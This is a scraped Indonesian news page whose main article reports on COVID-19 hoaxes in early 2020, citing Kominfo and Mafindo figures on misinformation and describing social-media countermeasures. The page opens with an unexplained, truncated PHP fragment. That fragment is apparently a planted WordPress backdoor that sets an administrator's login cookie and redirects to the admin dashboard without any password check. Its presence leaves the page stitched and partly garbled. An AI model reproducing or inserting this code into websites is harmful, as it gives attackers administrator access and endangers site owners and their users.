user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Trending Topic
Hati-hati Hoaks Tentang Virus Corona

9 Mar 2020

Foto: pixabay

Sebuah video tentang adanya pasien COVID-19 di RSUD Soekardjo Kota Tasikmalaya yang sempat menjadi viral belakangan ini dinyatakan hoaks. Kepolisian saat ini tengah mengusut pembuat dan penyebarnya. Dinyatakan meresahkan masyarakat, pihak berwajib serius menangani isu hoaks tentang COVID-19.

Seorang wanita di Surabaya ditangkap dan menjadi tersangka karena menyebarkan tulisan di media sosialnya, bahwa ada pasien COVID-19 dirawat di RSUD dr. Soetomo, Surabaya. Kementerian Komunikasi dan Informatika (Komindo) juga telah melaporkan lima kasus hoaks tentang virus corona kepada kepolisian. Selain di Jakarta kasusnya berada di Kalimantan Barat dan Timur.

Tak hanya soal keberadaan di tanah air, di luar juga banyak dan beragam hoaks seputar virus corona, bahkan ada yang terkait SARA hingga senjata biologi.. Misal, berita tentang pengajuan untuk membinasakan 20 ribu pasien COVID-19 di Tiongkok.  Menurut Kominfo, sejak 23 Januari hingga 6 Maret 2020, ada leih dari 177 jenis hoaks terkait virus corona. 

Dalam diskusi Hoaks Virus Corona: Strategi dan Mitigasi Informasi" di Kantor Kemenkominfo, Jakarta Pusat, Ketua Masyarakat Anti Fitnah Indonesia (Mafindo) Septiaji Eko Nugroho mengatakang bahwa  secara global termasuk Singapura, Iran, India, dan Turki, hingga saat ini ada 500 hoaks yang beredar di dunia terkait virus corona. Sementara di tanah air, selama dua bulan terakhir ada lebih dari 100 informasi hoaks terkait penularan virus corona. Ia menyebut ini sebagai infodemik.

"Infodemik ini merupakan banjir informasi yang sesat, yang membingungkan, mengelabui banyak orang dan yang tidak kalah bahayanya dari virus (corona) itu sendiri." 

Advertisement
Hoaks mengenai virus corona juga banyak beredar di media sosial. Jejaring sosial seperti Twitter, Instagram, Facebook, TikTok, Youtube pun berinisiatif melakukan langkah pencegahan untuk membendung informasi palsu dengan cara masing-masing.  Instagram dan Twitter misalnya, saat pengguna melakukan pencarian tagar terkait COVID-19, akan ditampilkan notifikasi menuju referensi resmi dari Kementerian Kesehatan, Organisasi Kesehatan Dunia (WHO), dan Pusat Pengendalian dan Pencegahan Penyakit (CDC). 

Selain menyebarkan berita positif, platform media sosial juga memblokir dan menghapus konten yang mengandung informasi menyesatkan. Anda juga bisa memantau info seputar wabah ini dan perkembangannya di Indonesia lewat KawalCOVID19 yang digagas Ainun Najib. (f)

Baca Juga:

Apa yang Harus Dipersiapkan di Rumah untuk Cegah Virus Korona?

Pembatasan Pendatang Dari Iran, Italia, dan Korea Selatan Untuk Cegah COVID-19

Daripada Asal Membuat Hand Sanitizer, Cuci Tangan Pakai Sabun Saja



Topic

#corona, #viruscorona, #hoaks, #COVID19

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?